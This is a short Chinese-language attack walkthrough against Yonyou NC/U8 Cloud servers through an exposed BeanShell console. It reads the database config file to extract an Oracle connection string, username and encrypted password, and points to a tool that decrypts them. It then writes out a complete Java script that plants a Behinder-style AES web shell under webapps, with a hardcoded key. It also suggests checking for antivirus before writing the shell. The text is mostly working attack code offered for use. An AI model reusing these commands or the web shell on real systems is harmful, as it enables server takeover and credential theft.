| 函数 | 作用 |
|---|---|
| cat() | 读取文件 |
| dir() | 查看目录 |
| exec() | 运行系统命令 |
| load() | 加载或序列化对象到文件中 |
| save() | 保存序列化对象到文件中 |
nc的数据库密码位置在/ierp/bin/prop.xml
cat("/ierp/bin/prop.xml");

读出加密的password

jdbc:oracle:thin:@127.0.0.1:1521/zljs
NCCS
mmoflelliecmchfh
用友nc解密工具:https://github.com/jas502n/ncDecode解出密文
beanshell完全符合Java语法规范,那可以通过写一个java脚本来写入文件
先用dir命令来探明web文件夹的位置,然后构造java脚本
import java.io.*;String filePath = "./webapps/u8c_web/aaaaa.txt"; String conent ="<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}
注意beanshell输入框里是不能有回车的,shell里的引号需转义
写入之后查看文件


查看写入成功
写入jsp文件时通过exec(“tasklist /svc”)命令查看是否含有杀软,不然写入会失败。写入后返回无报错即连接成功,通过冰蝎进行连接。